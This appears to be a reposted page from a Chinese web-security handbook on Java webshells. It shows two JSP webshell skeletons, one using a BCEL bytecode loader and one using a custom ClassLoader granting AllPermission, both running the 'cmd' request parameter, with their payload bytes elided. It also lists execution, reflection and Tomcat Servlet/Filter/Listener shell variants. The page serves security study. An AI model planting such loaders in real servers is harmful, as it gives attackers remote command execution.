返回介绍

5.3.12. WebShell

发布于 2024-02-07 20:47:54 字数 2047 浏览 0 评论 0 收藏 0

5.3.12. WebShell

5.3.12.1. BCEL字节码

String bcelCode = "...";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());

5.3.12.2. 自定义类加载器

response.getOutputStream().write(new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.contains("shell")) {
            return findClass(name);
        }
        return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            byte[] bytes = Base64.getDecoder().decode("...");
            PermissionCollection pc = new Permissions();
            pc.add(new AllPermission());
            ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
            return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return super.findClass(name);
    }
}.loadClass("shell").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
%>

5.3.12.3. 执行命令变式

  • java.lang.ProcessBuilder#start
  • java.lang.Runtime#exec
  • TemplatesImpl

5.3.12.4. 基于反射

  • class.forName
  • MethodAccessor.invoke
  • Method.invoke

5.3.12.5. 其他Shell变式

  • java.beans.Expression
  • java.lang.ClassLoader
  • java.net.URLClassLoader
  • jdk.nashorn.internal.runtime.ScriptLoader
  • ObjectInputStream.resolveClass
  • ScriptEngine.eval
  • ScriptEngineManager
  • ToolProvider.getSystemJavaCompiler

5.3.12.6. Tomcat 容器

  • Servlet
  • Filter
  • Listener

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文